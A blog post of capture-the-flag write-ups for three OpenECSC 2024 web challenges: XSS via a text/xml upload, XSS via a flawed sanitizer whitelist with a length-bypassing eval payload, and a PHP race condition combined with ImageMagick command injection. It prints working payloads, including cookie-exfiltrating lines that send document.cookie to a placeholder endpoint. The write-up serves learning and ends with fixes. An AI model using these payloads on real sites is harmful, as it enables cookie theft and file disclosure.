OpenECSC 2024 (Round 1) Web Writeups

Last week I played OpenECSC - Round 1. My final individual position was 59 out of 1895. In this blog post, I, your web guy, will present the writeup for the three web challenges. In these three web challenges, we have access to the source code, eliminating the need for guess solutions. Furthermore, in all of them a docker-compose is provided.


Fileshare [258 solves]


You can now share your files for free thanks to our new disruptive technology! Site:

The provided image below displays the source code files provided.


In line with other challenges I’ve encountered, there’s a bot that holds the flag within a cookie. In nearly 99% of cases, this indicates the necessity to uncover an XSS vulnerability. We also observe that the flag lacks any form of protection, such as the HttpOnly attribute. If you’re unfamiliar with cookie flags, I recommend referring to the following post.


If we examine the server and the code we’ll be working with, we find that it’s PHP-based. There are two main features: file uploading and downloading, and a support system where users can report issues to the bot.


Content-Type for XSS

If we check a little bit the code, the only restriction and difficulty of this challenge is the lines of code that appear in the following image. It basically restrict us to upload a file with a content-type that include the char ‘h’. If so, it saves the content-type as text/plain. Basically, it disallows us to upload a normal html (text/html). If you have no idea what content-type is, read mozilla’s blog. To put it simple, this header tell’s the client browser how to render a file or what kind of file is he dealing with. For example, if the content-type of the file is text/css or application/javascript the browser will render this as plaintext that’s why the XSS it’s impossible using this content-types. Given this context and returning to our challenge, how can we execute XSS with a content-type that isn’t text/html?


For solving this challenge, and googling a bit, we find the repository of BlackFan which has a pretty nice table telling us which content-type can produce a XSS. So we use one of them, like text/xml, and we exfiltrate the flag uploading and reporting the file to the bot.

Getting the flag

To sum up, this challenge involved an XSS vulnerability using a content-type without an h on it. So, we upload a file with the content-type text/xml and the payload <x:script xmlns:x="">window.location='ENDPOINT'+document.cookie;</x:script, we report it to the bot and we get the flag.


Finally, the flag appeared on our endpoint (openECSC{why_w0uld_u_sh4re_th1s}).


Interesting Takeaways

  • Other players solved this challenge using a browser behavior called MIME Sniffing. This behavior describes how the browser tries to guess the MIME type of a resource if it is not explicitly specified.
  • On the first attemps of the payload I used fetch for exfiltrating the cookie but this payload was only working on local infraestructure. After the CTF, I was curious why the fetch wasn’t working. In the official discord of the competition, a guy called Marco posted why the fetch was not working: “The bot executes your script and then closes the browser. Dangling promises don’t leave the script hanging, so if you do a fetch the script will be closed before the request is sent”.

Perfect Shop [199 solves]


Do you like perfect things? Check out my new online shop! Site:

The provided image below displays the source code files provided.


In this type of challenge, my typical starting point involves checking the package imports. I specifically look for old versions or uncommon packages as a potential indicator of vulnerability. For doing this, I checked package.json file and the first lines of the webserver (src/server.js). Additionally, another approach is to begin by identifying the location of the flag. In web challenges, the flag location often provides insights into the type of vulnerability we’ll need to exploit. For instance, if there’s a bot involved, as in this challenge, it’s likely we’ll need to discover an XSS sink.


When I noticed the presence of the sanitization package (perfect-express-sanitizer), I immediately began investigating further. Sanitization poses a significant challenge, and considering there was a bot involved in this scenario, it became evident that the solution likely involved exploiting XSS vulnerabilities. The package description is as follows:

perfect-express-sanitizer is a comprehensive package that helps you control user input data to prevent Cross-Site Scripting (XSS), SQL injection, and NoSQ L injection attacks. It can sanitize the body, query, and header of requests t o remove any potentially harmful data.

If we check the examples, there is a example case on the package README very similar to our code, illustrated in the following image:

# Example from the package README
const whiteList = ["/users", "/users/list", "/users/search?age"];

      xss: true,
      noSql: true,
      sql: true,


Finding a XSS sink

Given my confidence in the presence of XSS, particularly considering the bot’s involvement and the package’s relatively low popularity, I delved deeper into the package’s sanitization methods. Fairly quickly, I discovered that the ‘whiteList’ functionality was implemented incorrectly. In the provided image, you can observe the code of the library. Instead of properly checking the whiteList in the URL path, the package permits the payload if the whiteList parameter is included in the path OR in the query parameters of the URLs (express req.url parameter).


The website features a search functionality, which is commonly utilized in XSS challenges. Below is the code inside src/server.js for the search function:

Let’s utilize the search functionality while incorporating some debugging to build the challenge in local) to verify if our hypothesis holds true. As shown in the following image, it indeed works as expected. When we append the word /admin as a GET query parameter, the output remains unsanitized because the package is whitelisting the input.

With this discovery, we’ve obtained one puzzle piece: we understand how to craft an XSS payload, enabling us to create a reflected XSS attack. Let’s move on to the next problem. Funny fact: During the competition someone created an issue on the Github of the project reporting the issue.

Bypassing the length restriction

I didn’t mention it earlier, but upon examining the code of the /search endpoint, you’ll notice there’s a length restriction in place. This restriction will indeed complicate our cookie exfiltration via XSS, but not impossible. In such cases, there’s a resource called TinyXSS that collects techniques specifically for situations where we require a compact XSS payload. In my case, I selected a really cool technique which uses the URL fragment to bypass the length. So, the payload template would be like: <svg/onload=eval(`'`+URL)>.

The payload (<svg/onload=eval(`'`+URL)>) can seem complex at first glance but is actually straightforward. In the initial phase, we employ the svg tag along with the onload event to execute javascript in a compact format. Afterward, the eval function is executed. Within the eval function, we append a single quote to initiate a string, allowing us to insert the entire URL into the string up to the URL fragment, which constitutes our payload. And finally, on the URL fragment (# part of the URL), we insert our payload. The final javascript execution would be like 'URL#';PAYLOAD;. Returning to our challenge, a successful payload would be<svg/onload=eval(`'`%2BURL)>#';alert('BUBU'); (copy-paste to try). Note that in this case, I URL encoded the + symbol so it doesn’t get converted to a space.

Sending the payload to Admin/Flag BOT

The final step is to ensure that the bot has the flag stored in the cookie and that it executes our payload accordingly. For the first part, you can observe in the following code (number 2 in the screenshot) that the ‘set-cookie’ header is utilized, and the debugging information from the containers confirms that there is no flag stored in the cookie. If you’re unfamiliar with cookie flags, I recommend referring to the following post. Simplifying matters, there is no HttpOnly cookie flag present, indicating that the cookie can be accessed by javacript.


Now, I will explain the red squares numbered 1 and 3, which highlight the final puzzle piece for getting the flag. Can you identify where the problem is?. As you can see, in the first part, it uses parseInt, but then it sends the full parameter ( to the admin bot. If this is your first time encountering this snippet of code, you might assume that if the id is not an integer, an error would be thrown because parseInt would crash. However, it doesn’t work like that. Let’s make some tests.

parseInt("1"); // 1 
parseInt("a"); // NaN
parseInt("a1"); // Nan
parseInt("1a"); // 1 <-- 
parseInt("1PAYLOAD"); // 1 <-- 

So, if we refer to the documentation for the function:

If parseInt encounters a character that is not a numeral in the specified radix, it ignores it and all succeeding characters and returns the integer value parsed up to that point.

Since the full payload is sent to the bot without using the parseInt function, our payload will be appended to the URL (http://web/product/${}). Finally, by adding dots (../../search), we can redirect the bot to the search functionality with our payload instead of checking the product.

Getting the flag

To sum up, this challenge involved an XSS vulnerability from an incorrectly coded whitelist functionality on a sanitization package (perfect-express-sanitizer). Additionally, due to the flawed implementation of URL reporting to the bot and parseInt, we can send our payload to the bot using a TinyXSS to bypass the length restriction. In the following image you can see the final payload to solve the challenge. Note that you also need to append /admin to the report page URL so that the payload gets sent to the bot and isn’t sanitized. Additionally, if you want to test it, you should replace the ‘’ endpoint with your own endpoint.


Finally, the flag appeared on our endpoint (openECSC{4in't_s0_p3rfect_aft3r_4ll}).


Appendix 1: Explanation of the payload

I believe the payload is clear with the explanation I provided earlier. However, I’ve included this appendix with an alternative explanation of the final payload in case the reader needs it.

# BurpSuite HTTP POST with the payload
# Endpoint with /admin to avoid sanitization
POST /report?/admin
# Payload Url-encoded 

Payload explanation step-by-step (check burpsuite image and the step numbers):

  • 1 part: Send the admin_bot to the /search function, instead of the /products/id where the XSS sink is.
  • 2 part: Because of the query.length restriction (< 50), I used one of the TinyXSS payload (explained before). This payload basically uses the URL fragment to bypass the length restriction. For that, it uses ' to omit all URL until our code, avoiding the execution abortion. Final executed javascript is: 'http://url.example/?searchq=#'; fetch(endpoint+flag_cookie);
  • 3 part: Fragment of the url (after the # symbol). It’s the final payload without the length restriction (it has some browser restriction but it doesn’t matter in our case).

Life Quiz [33 solves]

Try out our quiz to win a incredible prize! Site:

The provided image below displays the source code files provided.


Before digging in the code, given the challenge’s functionality (quiz challenge), my experience suggested that the vulnerability might be associated with a race condition. As PortSwigger Academy describes:

“Race conditions are a common type of vulnerability closely related to business logic flaws. They occur when websites process requests concurrently without adequate safeguards. This can lead to multiple distinct threads interacting with the same data at the same time, resulting in a “collision” that causes unintended behavior in the application”.

In such cases, the goal is to verify whether performing two actions simultaneously, such as resetting/answering, sending money twice, or answering a question more than once, leads to unexpected outcomes.

Race condition

After spending some time analyzing the code and exploring various ideas (#app endix), I identified the presence of a race condition vulnerability. Before explaining the vulnerability and its exploitation, it’s essential to understand how the PHP session locking works and why the race condition is exploitable.

PHP Locking

As Portswigger states:

“Some frameworks attempt to prevent accidental data corruption by using some form of request locking. For example, PHP’s native session handler module only processes one request per session at a time”.

To understand PHP Locking, I read some blogs (check php doc and blog). In simple words, PHP uses a file for the session management (see the following images). This file saves all the session data. In the case of PHP, for mitigating Race Condition attacks, this file is locked during a script execution, for both, read and write. So, if there are two actions for the same SESSIONID, it would execute the first arriving action, making the execution of the second one idle until the first one has ended. This default configuration makes impossible to exploit race condition in PHP using the same PHPSESSID. In our challenge, this PHPSESSID basically saves the id of the user that it’s stored on the database, so what happens if we login twice?. We’ll have two PHPSESSID pointing to the same database user abc123. Check the following screenshots. In the screenshots, I login twice and checked that both of the sessions were pointing to the same database user. This is only possible because there is no track of active session on the challenge code.



So, where is the vulnerability in the challenge code?


As you can see, the vulnerability is kind of similar to Time-Of-Check Time-Of-Use (TOCTOU) vulnerabilities. Basically, the problem is that first it sums one to the points (if correct) and then it sums one to the question id. So, if a second process with a different PHPSESSID (remember what I explained before) enters the process and recovers the question_id before the first one has increased it, we can get another free point just by answering two times the same question. In the following drawing you can get a better idea how it works.


Command Execution (RCE) on system call

After explaining the race condition vulnerability and winning the throphy, how we can get the flag that is located at /prizes/flag.png.


If we check the code (following screenshot), our username is inserted directly into a system call.


So, if we exploit the race condition (or randomly answered correctly all the questions xD) we would have the following execution. The system call it creates a throphy image with our username on it.


As you might think, we can’t escape from the convert (ImageMagick) command but we could use some kind of image transformation to get the /prizes/flag.png into our /prizes/$user.png file. Indeed, you are correct. We can use a image transformation inside the -draw option (doc). However, we need another step to get the flag. If you check the database data you can see that there is a length restriction for the username, so we’ll need a payload smaller than 37 chars.


After many tries, checking how to reduce the payload, like removing the size or the position, using a path globbing or file extension guessing, the final payload was: "image Over 0,0 0,0"/prizes/flag.jpg.


Getting the flag

To sum up, this challenge involved a race condition to get the points in order to get a throphy and a short payload into a system call that uses the convert(ImageMagick library) functionality. If you want a clear/elegant solution, I recommend the following by blueminimal.


Finally, the flag appeared on the Throphy image (openECSC{U_4re_4_Qu1z_m4s7er}).



Appendix 1: Other vulns that I searched for

In the among of other things that I tried are:

  • Random algorithm. I searched if there was any possibility to guess the correct answer, so we just need it to answer correctly all the questions. If we check the code for having a random question it uses array_rand (doc) function. Checking the documenting I found that it does not generate cryptographically secure values. The function uses the Mersenne Twister Random Number Generator. After some digging and testing, trying to predict the correct answer, I returned to my initial thought about a race condition vulnerability.
  • Race condition between reseting and answering. I searched for a race condition between the reset functionality and quiz functionality. The goal was to reset the users point while adding a point, so that, the user reset end up having the question_id to 1 and the points to != 0.
  • Underflow on points. No rest functionality.
  • SQLi on email. There is a regular expression for mitigation.
  • Error on quiz. If you check the code of quiz.php, it starts with a question_id=1. My idea was, that somehow, to throw an error in some of the instruction so that it always uses the question_id = 1 and basically we can infinite point answering always the first question.

Appendix 2: How to fix the race condition

For fixing the race condition that we exploited there are several possible mitigations. The most basic one, is to keep track of the active session of the user (doc), so that the user can only have one session (PHPSESSID) active. A second solution would be to use atomic sql queries for updating and getting the question id. Another recommendation would be to have a relation between the user point value and the question that is related to, so that, having more than 15 points would be impossible.

Kudos to the author Xato for the funny and interesting challenges he made.

Thanks for reading!

Alberto Fernandez-de-Retana
Alberto Fernandez-de-Retana
PhD Student

Kaixo! PhD Student at University of Deusto under supervision of Igor Santos-Grueiro and Pablo G. Bringas. My research interests include web security & privacy. In my free time I love to be pizzaiolo.